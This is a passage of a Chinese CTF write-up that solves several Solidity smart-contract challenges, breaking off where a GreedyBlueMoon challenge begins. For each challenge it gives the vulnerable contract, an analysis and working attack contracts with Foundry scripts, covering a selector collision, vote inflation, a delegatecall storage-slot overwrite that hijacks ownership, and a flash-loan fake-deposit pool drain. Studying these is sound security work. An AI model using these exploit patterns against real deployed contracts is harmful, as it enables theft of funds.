signin
The_hack_from_heizi
时间大盗
魔法池子
Itname
GreedyBlueMoon
Capital_prevails

signin

源码：`Setuo.sol`&`Contract.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import {Treasure} from "./Contract.sol";
contract Setup {
    Treasure public treasure;
    bool public solved;
    address internal deployer;

    constructor() payable {
        treasure = new Treasure(1 ether);
        deployer = msg.sender;
    }

    function isSolved() external returns (bool) {
        if (treasure.unlocked()) {
            solved = true;
        }
        return solved;
    }

    function getTreasure() external view returns (address) {
        return address(treasure);
    }

    function withdrawEther() external {
        require(msg.sender == deployer, "Only deployer can withdraw");
        payable(deployer).transfer(address(this).balance);
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

contract Treasure {
    uint256 public treasureAmount;
    bool public unlocked;
    address public owner;
```

```
    uint256 public lockCounter;
    bytes32 private hiddenHash;

    constructor(uint256 _treasureAmount) {
        owner = msg.sender;
        treasureAmount = _treasureAmount;
    }

    modifier onlyEOA() {
        require(msg.sender == tx.origin, "Only EOAs allowed");
        _;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "Not the owner");
        _;
    }

    function becomeOwner() external payable returns (address) {
        require(msg.value > treasureAmount, "don't ride for free");
        require(
            msg.sender != tx.origin,
            "The vassal of my appendage is not my appendage"
        );
        owner = msg.sender;
        return owner;
    }

    function setHiddenHash(string memory secret) external onlyOwner {
        hiddenHash = keccak256(bytes(secret));
    }

    function dummyCheck(uint256 x) public view returns (bool) {
        return (x % 42 == 0 && tx.gasprice < 1000000000);
    }

    function getHiddenKey(
        string calldata _string1,
        string calldata _string2
    ) external returns (bool) {
        require(msg.sender == owner, "only owner can set hidden key");
        require(
            keccak256(bytes(_string1)) != keccak256(bytes(_string2)),
            "No two leaves are alike"
        );

        bytes4 sig1 = bytes4(keccak256(bytes(_string1)));
        bytes4 sig2 = bytes4(keccak256(bytes(_string2)));

        if (sig1 == sig2) {
            unlocked = true;
        }

        lockCounter += 1; //
        return unlocked;
```

```
    }

    function isLegitKey(bytes calldata key) public view returns (bool) {
        return key.length > 12 && key.length < 32;
    }
}
```

目标就是把变量`unlocked`设置为`true`，浏览合约发现变量只在`getHiddenKey`函数中被设置为`true`，需要满足两个条件，一是需要调用者是owner，二是传入的两个参数的哈希不相同，但是前四个字节相同，这可以看作是找到一组函数选择器冲突的函数，在WTF里面有一组函数选择器冲突的例子可以用。

让调用者是owner可以调用`becomeOwner`函数实现，但是需要满足`msg.sender != tx.origin`，也就是调用者不能是我，所以写一个攻击合约，`msg.sender`就是攻击合约，`tx.origin`是我，两个不相等，满足条件。

因此只需要攻击合约调用`becomeOwner`函数成为owner，再调用`getHiddenKey`函数传入参数就完成了。

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import {Setup} from "./Setup.sol";
import {Treasure} from "./Contract.sol";
import {Script, console} from "forge-std/Script.sol";

contract Attack {
    Setup public setup;
    Treasure public treasure;

    constructor(address _setup) payable {
        setup = Setup(_setup);
        treasure = Treasure(setup.getTreasure());
    }

    function attack() external payable {
        treasure.becomeOwner{value: 1.1 ether}();

        string memory str1 = "burn(uint256)";
        string memory str2 = "collate_propagate_storage(bytes16)";
        treasure.getHiddenKey(str1, str2);

        console.logBytes4(bytes4(keccak256(bytes(str1))));
        console.logBytes4(bytes4(keccak256(bytes(str2))));
    }
}
```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

```

```
import {Script, console} from "forge-std/Script.sol";
import {Attack} from "../src/Attack.sol";
import {Setup} from "../src/Setup.sol";

contract POC is Script {
    function run() public {
        vm.startBroadcast();

        Setup setup = Setup(0xc6Ea44BF288286cb975192eBAaAdEd9596831A68);
        Attack attack = new Attack{value: 2 ether}(address(setup));
        attack.attack();
        console.log(setup.isSolved());

        vm.stopBroadcast();
    }
}
```

The_hack_from_heizi

源码：`Setup.sol`&`Contract.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import "./Contract.sol";

/// @title Setup - Deployment and initialization of the ControlVote
challenge
contract Setup {
    ControlVote public controlVote;
    address public immutable competitor;
    address private xiaoheizi1;
    address private xiaoheizi2;
    bool public solved;

    constructor(address _addr1, address _addr2) {
        controlVote = new ControlVote();
        competitor = controlVote.competitor();

        xiaoheizi1 = _addr1;
        xiaoheizi2 = _addr2;

        controlVote.addWhitelist(xiaoheizi1);
        controlVote.addWhitelist(xiaoheizi2);

        controlVote.setshares(xiaoheizi1, 2);
        controlVote.setshares(xiaoheizi2, 2);
    }
    function isSolved() external returns (bool) {
        if (controlVote.Votes(msg.sender) > controlVote.Votes(competitor)) {
            solved = true;
        }
        return solved;
    }
```

```
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

contract ControlVote {
    event VoteDelegated(
        address indexed from,
        address indexed to,
        uint256 amount
    );
    event Voted(address indexed from, address indexed to, uint256 amount);
    event SwappedVotes(address indexed user, uint256 voteAmount);
    event VotesBurned(address indexed user);

    address public owner;
    address public constant competitor =
        0x1000000000000000000000000000000000000010;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public shares;
    mapping(address => uint256) public Votes;
    mapping(address => mapping(uint256 => uint256)) internal isdelegted;

    uint256 constant BITS_PER_WORD = 256;
    constructor() {
        owner = msg.sender;
        Votes[competitor] = 100;
    }

    function addWhitelist(address user) external {
        require(msg.sender == owner, "Not authorized");
        whitelisted[user] = true;
    }

    function joinWhitelist() external {
        require(!whitelisted[msg.sender], "Already joined once");
        require(Votes[msg.sender] >= 1, "Insufficient votes to join");
        whitelisted[msg.sender] = true;
    }

    function setshares(address user, uint256 _votes) external {
        require(msg.sender == owner, "Not authorized");
        shares[user] = _votes;
    }

    function _getIndices(
        address to
    ) internal pure returns (uint256 wordIndex, uint256 bitIndex) {
        uint256 index = uint160(to);
        wordIndex = index / BITS_PER_WORD;
        bitIndex = index % BITS_PER_WORD;
    }

    function grant(address to) external {
        (uint256 wordIndex, uint256 bitIndex) = _getIndices(to);
```

```
        isdelegted[msg.sender][wordIndex] |= (1 << bitIndex);
    }

    function revoke(address to) external {
        (uint256 wordIndex, uint256 bitIndex) = _getIndices(to);
        isdelegted[msg.sender][wordIndex] &= ~(1 << bitIndex);
    }

    function isAuthorized(address from, address to) public view returns
(bool) {
        (uint256 wordIndex, uint256 bitIndex) = _getIndices(to);
        return (isdelegted[from][wordIndex] >> bitIndex) & 1 == 1;
    }

    function delegate(address from, address to, uint256 _votes) external {
        require(isAuthorized(from, to), "Not authorized");
        require(whitelisted[from] && whitelisted[to], "Not whitelisted");
        require(shares[from] >= _votes, "Insufficient votes");
        require(from != to, "Cannot delegate to self");
        require(_votes > 0, "Votes must be greater than zero");
        shares[from] -= _votes;
        shares[to] += _votes;

        emit VoteDelegated(from, to, _votes);
    }
    function calculateVotingPowerHash(
        address user,
        uint256 salt
    ) external pure returns (bytes32) {
        assembly {
            let ptr := mload(0x40)
            mstore(ptr, user)
            mstore(add(ptr, 0x20), salt)
            mstore(add(ptr, 0x40), xor(user, salt))
            mstore(add(ptr, 0x60), shr(3, salt))
            mstore(add(ptr, 0x80), shl(5, user))
            let hashed := keccak256(ptr, 0xA0)

            mstore(0x0, hashed)
            return(0x0, 32)
        }
    }

    function swap() external {
        require(whitelisted[msg.sender], "Not whitelisted");
        uint256 userVotes = Votes[msg.sender];
        require(userVotes > 0, "No votes to swap");
        Votes[msg.sender] = 0;
        shares[msg.sender] += userVotes;

        emit SwappedVotes(msg.sender, userVotes);
    }

    function vote(address addr, uint256 numbers) public {
        require(whitelisted[msg.sender], "Not whitelisted");
```

```
        require(shares[msg.sender] >= numbers, "Insufficient votes");
        require(addr != msg.sender, "Cannot vote for self");
        shares[msg.sender] -= numbers;
        shares[addr] += numbers;
        Votes[addr] += numbers;

        emit Voted(msg.sender, addr, numbers);
    }

    function AssemblyLogic(address user) external view returns (uint256 kun) {
        assembly {
            let v := shr(2, shl(5, 1))
            let val := xor(v, 0x1234)
            kun := add(val, Votes.slot)
        }
    }

    function Optimizer() public view returns (uint256) {
        assembly {
            let t := mul(timestamp(), number())
            let h := blockhash(number())
            let fake := add(t, mod(mload(add(h, 0x20)), 1337))
            mstore(0x0, fake)
            return(0x0, 0x20)
        }
    }

    function buyVotes() external payable {
        require(msg.value >= 1 ether, "Min 1 ether");
        Votes[msg.sender] += msg.value / 1 ether;
    }

    function getVotes(address user) external view returns (uint256) {
        return Votes[user];
    }
    function getShare(address user) external view returns (uint256) {
        return shares[user];
    }

    function burnVotes() external {
        require(whitelisted[msg.sender], "Not whitelisted");
        Votes[msg.sender] = 0;
        emit VotesBurned(msg.sender);
    }

    receive() external payable {}
}
```

目标是让我的票数大于竞争者的票数。

这道题的漏洞出现在 `vote` 函数上，下面拆解一下这个函数：

```
function vote(address addr, uint256 numbers) public {
    require(whitelisted[msg.sender], "Not whitelisted");
    require(shares[msg.sender] >= numbers, "Insufficient votes");
    require(addr != msg.sender, "Cannot vote for self");
    shares[msg.sender] -= numbers;
    shares[addr] += numbers;
    Votes[addr] += numbers;

    emit Voted(msg.sender, addr, numbers);
}
```

投票时投票人的`shares`会减少，被投的人`votes`会增加相应的数，但是同时被投的人的`shares`也会增加，这样就会凭空出现可投的票，这样两个人互相投票就会达到刷票的效果，与其说投票不去说是投`share`。

主要攻击逻辑就靠`swap`和`vote`函数，但是前提需要加入白名单，并且手里也需要有票，所以先买张票，再加入白名单，最后互相刷票，我是在攻击合约和脚本中互相刷票，即：

调用`swap`函数，把我买的票先转换为`share`，调用`vote`函数投给攻击合约，攻击合约再调用`swap`函数，把票转换为`share`，调用`vote`函数投给我，以此反复直到我的票数大于100，循环停止。

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {ControlVote} from "../src/Contract.sol";
import {Setup} from "../src/Setup.sol";

contract Attack {
    Setup setup =
Setup(payable(0xb1d71707C326AC75a35a43868012A4503d2F9A63));
    ControlVote controlvote = setup.controlVote();
    function attack() external payable {
        controlvote.buyVotes{value: msg.value}();
        controlvote.joinWhitelist();
    }
    function attack2() external {
        uint256 votes = controlvote.getShare(address(this));
        controlvote.swap();
        controlvote.vote(msg.sender, votes);
    }
}
```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {ControlVote} from "../src/Contract.sol";
import {Setup} from "../src/Setup.sol";
import {Attack} from "../src/Attack.sol";
```

```
contract POC is Script {
    Setup setup = Setup(payable(0xb1d71707C326AC75a35a43868012A4503d2F9A63));
    ControlVote controlvote = setup.controlVote();

    function run() external {
        vm.startBroadcast();

        Attack attack = new Attack();
        controlvote.buyVotes{value: 1 ether}();
        // controlvote.joinWhitelist();
        attack.attack{value: 1 ether}();
        for(uint i=0;i<10;i++) {
            uint256 votes = controlvote.getVotes(msg.sender);
            controlvote.swap();
            controlvote.vote(address(attack), votes);
            attack.attack2();
            if(controlvote.getVotes(msg.sender) > 100) {
                break;
            }
        }
        console.log(controlvote.getVotes(address(attack)));
        console.log(controlvote.getVotes(msg.sender));
        console.log(setup.isSolved());

        vm.stopBroadcast();
    }
}

```

时间大盗

源码：`Example.sol`

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.9;

contract EkkoTimeRewind {
    address public owner;//0
    string public constant saying = "U can do Anything in DLNU2025";
    bytes4 constant setZDriveownerSignature = bytes4(keccak256("setZDriveowner(uint256,uint256)"));
    address public rewindBeforeTime;//1
    address public rewindAfterTime;//2
    uint256 public Time0;//3
    uint256 public Time1;//4
    bool private isSetZDriveownerCalled = false;
    bool private isSetTimeCalled = false;
    address public zDriveContractAddress;

    constructor(address _zDriveContractAddress) {
        zDriveContractAddress = _zDriveContractAddress;
        rewindBeforeTime = address(this);
```

```
        rewindAfterTime = address(this);
        owner = msg.sender;
    }

    function setRewindBeforeTime(uint256 _Time0) public onlyWhitelisted {
        require(!isSetTimeCalled, "setRewindBeforeTime can only be calledonce");
        isSetTimeCalled = true;
        Time0 = _Time0;
    }

    function setRewindAfterTime(uint256 _Time1) public onlyWhitelisted {
        require(!isSetTimeCalled, "setRewindAfterTime can only be called once");
        isSetTimeCalled = true;
        Time1 = _Time1;
    }

    function isSolved() public view returns (bool) {
        return (Time0 != 0 && Time1 != 0 && Time0 > Time1 + 4);
    }

    function setZDriveowner(bytes[] calldata data) public {
        require(!isSetZDriveownerCalled, "multicallSetZDriveowner has alreadybeen called once");
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (!isSetZDriveownerCalled && selector == setZDriveownerSignature) {
                (bool success,) = zDriveContractAddress.delegatecall(data[i]);

                require(success, "Error while delegating call tosetZDriveowner");
            } else {
                revert("Invalid selector");
            }
        }
        isSetZDriveownerCalled = true;
    }

    function setTime(bytes[] calldata data) public onlyWhitelisted {
        bytes4 rewindBeforeTimeSignature = bytes4(keccak256("setRewindBeforeTime(uint256)"));
        bytes4 rewindAfterTimeSignature = bytes4(keccak256("setRewindAfterTime(uint256)"));
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
```

```
            }
            if (!isSetTimeCalled && selector == rewindBeforeTimeSignature)
{
                (bool success,) = rewindBeforeTime.delegatecall(data[i]);
                require(success, "Error while delegating call
forrewindBeforeTime");
            } else if (!isSetTimeCalled && selector ==
rewindAfterTimeSignature) {
                (bool success,) = rewindAfterTime.delegatecall(data[i]);
                require(success, "Error while delegating call
forrewindAfterTime");
            } else {
                revert("Invalid selector");
            }
        }
    }

    modifier onlyWhitelisted() {
        require(msg.sender == owner, "Not whitelisted");
        _;
    }
}

contract ZDriveContract {
    uint256 public ZDriveowner;
    uint256 public Description;
    uint256 private callCounter = 0;

    event UsefulEvent(string message);

    function setZDriveowner(uint256 _ZDriveowner, uint256 _Description)
public {
        ZDriveowner = _ZDriveowner;
        Description = _Description;
        callCounter++;
        emit UsefulEvent("Happy Chinese New Year!");
    }

    function getFlag() public pure returns (string memory) {
        return "What are you thinking, kid? Do you really think I can give
it to you that easily?";
    }
}

contract Setup {
    EkkoTimeRewind public ekkoTimeRewind;
    ZDriveContract public zDriveContract;

    constructor() {
        zDriveContract = new ZDriveContract();
        ekkoTimeRewind = new EkkoTimeRewind(address(zDriveContract));
    }

    function isSolved() public view returns (bool) {
        return (
```

```
            ekkoTimeRewind.Time0() != 0 && ekkoTimeRewind.Time1() != 0
                && ekkoTimeRewind.Time0() > ekkoTimeRewind.Time1() + 4
        );
    }
}
```

目标是`Time0`和`Time1`都不等于0，并且`Time0`要大于`Time1 + 4`。

这两个变量分别在函数`setRewindBeforeTime`和`setRewindAfterTime`修改，但是有个限制，让这两个函数只能调用其中一个，并且有修饰器，只有owner才能调用，观察到`setZDriveowner`函数里面有`delegatecall`，我们可以利用插槽布局来覆写owner的值，首先构造一下`setZDriveowner`函数的参数：

```
bytes memory changeOwner = abi.encodeWithSignature(
    "setZDriveowner(uint256,uint256)",
    myAddr,
    attack
);
```

这个函数会改变插槽0和插槽1的值，将插槽0设置为我的地址，我就成为了owner，插槽1是一个地址变量`rewindBeforeTime`，我们将他设置为攻击合约地址，这一步很关键，原因在后面说。

成为owner之后可以调用`setRewindBeforeTime`和`setRewindAfterTime`函数了，但是还是只能调用其中一个，看到`setTime`函数里面有`delegatecall`，我们可以创建攻击合约，在里面写一个新的`setRewindBeforeTime`函数来修改`Time0`和`Time1`，关键就在这里，它的`delegatecall`是地址`rewindBeforeTime`调用的，所以这个地址需要和我的攻击合约地址相同才能完成修改`Time0`和`Time1`，因此在修改插槽的值时，需要把插槽1改成攻击合约的地址。

因为是delegatecall，所以要注意插槽对齐，不要修改错了，两种方式，第一是将插槽对齐修改，第二就是用汇编直接写指定插槽的值。

总结：

利用delegatecall调用`setZDriveowner`函数，覆写`owner`和`rewindBeforeTime`，再调用`setTime`，用里面的`rewindBeforeTime.delegatecall`来设置`Time0`和`Time1`的值。

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.9;

contract Attack {
    uint256 public a;
    uint256 public b;
    uint256 public Time0;
    uint256 public Time1;

    function setRewindBeforeTime(uint256 x) public {
        assembly {
            let t0 := sload(3)
            if eq(t0, 0) {
                sstore(3, x)
            }
            if iszero(eq(t0, 0)) {
                sstore(4, x)
```

```
            }
        }
    }
}
```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {Setup, EkkoTimeRewind} from "../src/Example.sol";
import {Attack} from "../src/Attack.sol";

contract POC is Script {

    function run() external {
        vm.startBroadcast();

        Setup setup = Setup(0x19482044ffDfE452d36e1c0A613ce038AC539428);
        EkkoTimeRewind target = setup.ekkoTimeRewind();
        Attack attack = new Attack();

        uint256 myAddr = uint256(uint160(msg.sender));
        bytes memory changeOwner = abi.encodeWithSignature(
            "setZDriveowner(uint256,uint256)",
            myAddr,
            attack
        );

        bytes[] memory arr = new bytes[](1);
        arr[0] = changeOwner;
        target.setZDriveowner(arr);

        console.log("Owner changed to:", target.owner());

        bytes memory call1 =
abi.encodeWithSignature("setRewindBeforeTime(uint256)", 100);
        bytes memory call2 =
abi.encodeWithSignature("setRewindBeforeTime(uint256)", 50);

        bytes[] memory arr2 = new bytes[](2);
        arr2[0] = call1;
        arr2[1] = call2;

        target.setTime(arr2);

        console.log("Time0:", target.Time0());
        console.log("Time1:", target.Time1());
        console.log("before",target.rewindBeforeTime());
        console.log("after",target.rewindAfterTime());
        console.log("isSolved:", setup.isSolved());

        vm.stopBroadcast();
    }
```

```
}
```

魔法池子

源码：`Example.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

interface FlashLoanReceiver {
    function execute() external payable;
}

contract Setup {
    MagicPool public target;

    constructor() payable {
        target = new MagicPool();
        target.deposit{value: 10 ether}();
    }

    function isSolved() external view returns (bool) {
        return (target.totalSupply() == 10 ether && address(target).balance < 1 ether);
    }

    receive() external payable {}
}

contract MagicPool {
    mapping(address => uint256) private balances;
    mapping(address => mapping(address => uint256)) public allowances;
    uint256 public totalSupply;
    uint256 public maxloanamount = 10 ether;

    event Deposited(address indexed user, uint256 amount);
    event Withdrawn(address indexed user, uint256 amount);
    event FlashLoanExecuted(address indexed borrower, uint256 amount);
    event Received(address indexed sender, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 amount);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    function deposit() external payable {
        require(msg.value > 0, "Zero deposit");
        balances[msg.sender] += msg.value;
        totalSupply += msg.value;
        emit Deposited(msg.sender, msg.value);
    }

    function withdraw() external {
        uint256 amount = balances[msg.sender];
        require(amount > 0, "Nothing to withdraw");
```

```
        balances[msg.sender] = 0;
        totalSupply -= amount;
        payable(msg.sender).transfer(amount);
        emit Withdrawn(msg.sender, amount);
    }

    function approve(address spender, uint256 amount) external {
        allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
    }

    function allowance(address owner, address spender) external view returns (uint256) {
        return allowances[owner][spender];
    }

    function transferFrom(address owner, address to, uint256 amount) external {
        require(allowances[owner][msg.sender] >= amount, "Not allowed");
        require(balances[owner] >= amount, "Insufficient balance");

        allowances[owner][msg.sender] -= amount;
        balances[owner] -= amount;
        balances[to] += amount;

        emit Transfer(owner, to, amount);
    }

    function balanceOf(address user) external view returns (uint256) {
        return balances[user];
    }

    function getPoolBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function flashLoan(uint256 amount) external {
        require(amount <= maxloanamount, "Amount too high");
        uint256 balanceBefore = address(this).balance;
        require(balanceBefore >= amount, "Not enough balance");

        FlashLoanReceiver(msg.sender).execute{value: amount}();

        require(address(this).balance >= balanceBefore, "No money back");
        emit FlashLoanExecuted(msg.sender, amount);
    }

    receive() external payable {
        emit Received(msg.sender, msg.value);
    }
}
```

目标就是让池子的总量为10ether并且让池子里的余额小于1ether，翻译过来就是在池子总量不变的情况下挖空池子里的钱。

漏洞就出现在`flashLoan`函数中，里面没有变量修改，也就是说借钱时池子里面的总量没有减少，只是做了三个判断，借的钱是否大于等于10ether，借之前池子里的钱是否大于等于要借的钱，池子里的钱是否大于等于借之前池子里的钱，因此我们可以在回调函数里面调用`deposit`函数，把钱存回去，做一下假账，这样还款检查可以通过，池子的总量还多出来10ether，我的余额也多了10ether，但是池子里的余额还是10ether，凭空出来的就是做出来的假账，接下来只需要调用`withdraw`函数把池子总量控制到10ether，同时把我假账做出来10ether转走。

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.9;

import {MagicPool, FlashLoanReceiver} from "../src/Example.sol";

contract Attack is FlashLoanReceiver {
    MagicPool public pool;
    address public attacker;

    constructor(MagicPool _pool) {
        pool = _pool;
        attacker = msg.sender;
    }

    function attack() external payable {
        pool.deposit{value: 0.1 ether}();
        pool.flashLoan(10 ether);
        pool.withdraw();
        (bool ok, ) = attacker.call{value: address(this).balance}("");
        require(ok, "Transfer failed");
    }

    function execute() external payable override {
        pool.deposit{value: msg.value}();
    }

    receive() external payable {}
}

```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {Setup, MagicPool} from "../src/Example.sol";
import {Attack} from "../src/Attack.sol";

contract POC is Script {
    Setup setup =
Setup(payable(0x44C71Ba328a1469a2a442D1742230dDf9d6BD6A4));
    MagicPool public pool;

    function run() external {
```

```
        vm.startBroadcast();

        pool = setup.target();
        Attack attack = new Attack(pool);
        attack.attack{value: 0.1 ether}();
        console.log(pool.getPoolBalance());
        console.log("isSolved():", setup.isSolved());

        vm.stopBroadcast();
    }
}
```

Itname

源码：`level.sol`

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.9;

interface Wish_Maker {
    function wish_amount() external view returns (uint256);
}

contract level {
    constructor() {
        owner = msg.sender;
    }

    string public name = "sanye";
    string public symbol = "CTF";
    uint8 public decimals = 18;
    uint256 public totalSupply;
    address public owner;
    bool public yourname;

    mapping(address => bool) public started;
    mapping(address => uint256) public wishes;
    mapping(address => bool) public wish_made;
    mapping(address => uint8) public callCounter;
    mapping(address => uint256) public balanceOf;
    mapping(address => mapping(address => uint256)) public allowances;

    modifier challenge_started() {
        require(started[tx.origin] == true);
        _;
    }

    modifier remains_wish() {
        require(wishes[tx.origin] > 0);
        _;
    }

    modifier onlyOwner() {
        require(owner == msg.sender);
```

```
        _;
    }

    function deposit() external payable {
        uint256 amount = msg.value;
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
    }

    function allowance(address _owner, address _spender) external view
returns (uint256) {
        return allowances[_owner][_spender];
    }

    function transferFrom(address from, address to, uint256 amount)
external returns (bool) {
        require(balanceOf[from] >= amount, "not enough balance");
        require(allowances[from][msg.sender] >= amount, "not enough
allowance");

        balanceOf[from] -= amount;
        balanceOf[to] += amount;
        allowances[from][msg.sender] -= amount;
        return true;
    }

    function start_challenge() public {
        require(started[tx.origin] == false);
        started[tx.origin] = true;
        wishes[tx.origin] = 1;
    }

    function end_challenge(address addr) public onlyOwner {
        started[addr] = false;
        wishes[addr] = 0;
        wish_made[addr] = false;
    }

    function withdraw(uint256 amount) external payable {
        require(balanceOf[msg.sender] > amount, "not enough token");
        balanceOf[msg.sender] -= amount;
        (bool success,) = msg.sender.call{value: amount}("");
        require(success, "no call");
    }

    function approve(address from, address to, uint256 amount) external {
        allowances[from][to] = amount;
    }

    function transfer(address to, uint256 amount) external returns (bool) {
        require(balanceOf[msg.sender] >= amount, "not enough balance");
        balanceOf[msg.sender] -= amount;
        balanceOf[to] += amount;
        return true;
    }
```

```
91
92      function wish_making() external challenge_started remains_wish {
93          Wish_Maker wish_maker = Wish_Maker(msg.sender);
94          bool is_less_than = false;
95          if (wish_maker.wish_amount() < 1) {
96              is_less_than = true;
97          }
98          wish_made[tx.origin] = true;
99          if (is_less_than) {
100             wishes[tx.origin] = wish_maker.wish_amount();
101         } else {
102             wishes[tx.origin]--;
103         }
104     }
105
106     function regret() external challenge_started {
107         wishes[tx.origin] = 1;
108         wish_made[tx.origin] = false;
109     }
110
111     modifier level1() {
112         require(tx.origin != msg.sender);
113         _;
114     }
115
116     modifier level2() {
117         require(uint256(uint160(msg.sender)) % 77 == 7);
118         _;
119     }
120
121     modifier level3() {
122         require(address(this).balance > 0);
123         _;
124     }
125
126     modifier level4() {
127         require(wishes[tx.origin] > 1 ? true : false == true);
128         _;
129     }
130
131     receive() external payable {
132         revert();
133     }
134
135     function check() external level1 level2 level3 level4 {
136         owner = tx.origin;
137         yourname = true;
138     }
139
140     function isSolved() external view returns (bool) {
141         require(yourname == true, "no ");
142         return true;
143     }
144 }
145
```

```
146
```

目标是把 `yourname` 设置为 `true`，调用 `check` 函数就可以，但是需要绕过四个修饰器，下面依次分析：

```
modifier level1() {
    require(tx.origin != msg.sender);
    _;
}

modifier level2() {
    require(uint256(uint160(msg.sender)) % 77 == 7);
    _;
}

modifier level3() {
    require(address(this).balance > 0);
    _;
}

modifier level4() {
    require(wishes[tx.origin] > 1 ? true : false == true);
    _;
}
```

修饰器1，`tx.origin != msg.sender`，可以创建一个攻击合约，用攻击合约调用，`msg.sender` 是攻击合约，`tx.origin` 是我，两个不相等。

修饰器2，`uint256(uint160(msg.sender)) % 77 == 7`，要求一个指定的调用者，我们用create2来创建一个满足条件的合约。

修饰器3，`address(this).balance > 0`，余额大于0，向合约转账是不行的，因为它的 `receive` 函数里面是 `revent`，就是不接收，但是这里面有 `deposit` 函数，它不受 `receive` 限制，我们可以通过这个函数，向里面存入0.1ether，来满足余额大于0。

修饰器4，`wishes[tx.origin] > 1 ? true : false == true`，简化之后就是 `wishes[tx.origin] > 1`，变量 `wishes` 在函数 `start_challenge`、`wish_making` 和 `regret` 改变，但是 `start_challenge` 和 `regret` 只能将变量 `wishes` 设置为1，所以我们只能通过 `wish_making` 函数去改变。

接下来分析一下 `wish_makng` 函数：

```
function wish_making() external challenge_started remains_wish {
    Wish_Maker wish_maker = Wish_Maker(msg.sender);
    bool is_less_than = false;
    if (wish_maker.wish_amount() < 1) {
        is_less_than = true;
    }
    wish_made[tx.origin] = true;
    if (is_less_than) {
        wishes[tx.origin] = wish_maker.wish_amount();
    } else {
        wishes[tx.origin]--;
    }
}
```

这个函数调用之后在内部调用`wish_amount`函数，需要在调用后返回值小于1，但是在修改`wishes`时，返回值小于1又不满足解题条件，关键在这个函数是接口函数，因此我们可以设计一个满足条件的函数，让第一次调用时返回0，第二次调用返回2，简单的计数器就可以，但问题又出现在这个函数是一个`view`函数，不可以修改值，`wish_making`函数里面有一行代码是`wish_made[tx.origin] = true`，这行把`wish_made`这个变量设置为`true`，它出现在两次调用之间，因此我们可以用这个变量做一些事情：

```
function wish_amount() external view override returns (uint256) {
    if(!target.wish_made(tx.origin)) {
        return 0;
    }
    return 2;
}
```

让`wish_made`是`false`时返回0，`wish_made`是`true`时返回2。

解决了这些问题之后，接着解决调用`wish_making`需要绕过的修饰器，很简单，只需要调用`start_challenge`函数就都解决了

`createtwo.sol`

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity ^0.8.0;

import {level} from "./level.sol";
import {Attack} from "./Attack.sol";

contract Deployer {
    function computeSalt(address target) public view returns (bytes32) {
        for (uint256 i = 0; i < 10000; i++) {
            bytes32 salt = bytes32(i);
            address predictedAddress = predictAddress(salt, target);
            if (uint256(uint160(predictedAddress)) % 77 == 7) {
                return salt;
            }
        }
        revert("No suitable salt found within the limit");
    }

    function predictAddress(
        bytes32 salt,
        address example
    ) public view returns (address) {
        bytes memory bytecode = abi.encodePacked(
            type(Attack).creationCode,
            abi.encode(example)
        );

        bytes32 hash = keccak256(
            abi.encodePacked(
                bytes1(0xff),
                address(this),
                salt,
                keccak256(bytecode)
```

```
            )
        );
        return address(uint160(uint256(hash)));
    }

    function deployer(
        bytes32 salt,
        address paekkoAddress
    ) public returns (address) {
        Attack a = new Attack{salt: salt}(paekkoAddress);
        return address(a);
    }
}
```

攻击合约：`Attack.sol`

```
// SPDX-License-Identifier: SEE LICENSE IN LICENSE
pragma solidity 0.8.9;

import {level, Wish_Maker} from "./level.sol";
import {Script, console} from "forge-std/Script.sol";

contract Attack is Wish_Maker{
    level target;
    constructor(address _target) {
        target = level(payable(_target));
    }

    function attack() external payable {
        target.deposit{value: 0.1 ether}();
        target.start_challenge();
        target.wish_making();
        target.check();
    }

    function wish_amount() external view override returns (uint256) {
        if(target.wish_made(tx.origin) == false) {
            return 0;
        }
        return 2;
    }
}
```

脚本：`Hack.s.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

import {Script, console} from "forge-std/Script.sol";
import {Attack} from "../src/Attack.sol";
import {Deployer} from "../src/createtwo.sol";
import {level} from "../src/level.sol";

contract POC is Script {
```

```
    function run() external {
        vm.startBroadcast();

        Deployer deployer = new Deployer();
        level target =
level(payable(0x4bfaFe49347319fa45bFF0A0912d1DD0BFE95f02));
        bytes32 salt = deployer.computeSalt(
            address(target)
        );
        address attack = deployer.deployer(
            salt,
            address(target)
        );
        Attack(attack).attack{value: 0.1 ether}();
        console.log(target.isSolved());

        vm.stopBroadcast();
    }
}
```

GreedyBlueMoon

源码：`greedyBlueMoon.sol`

```
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract greedyBlueMoon {
    mapping(address => uint256) private shards;
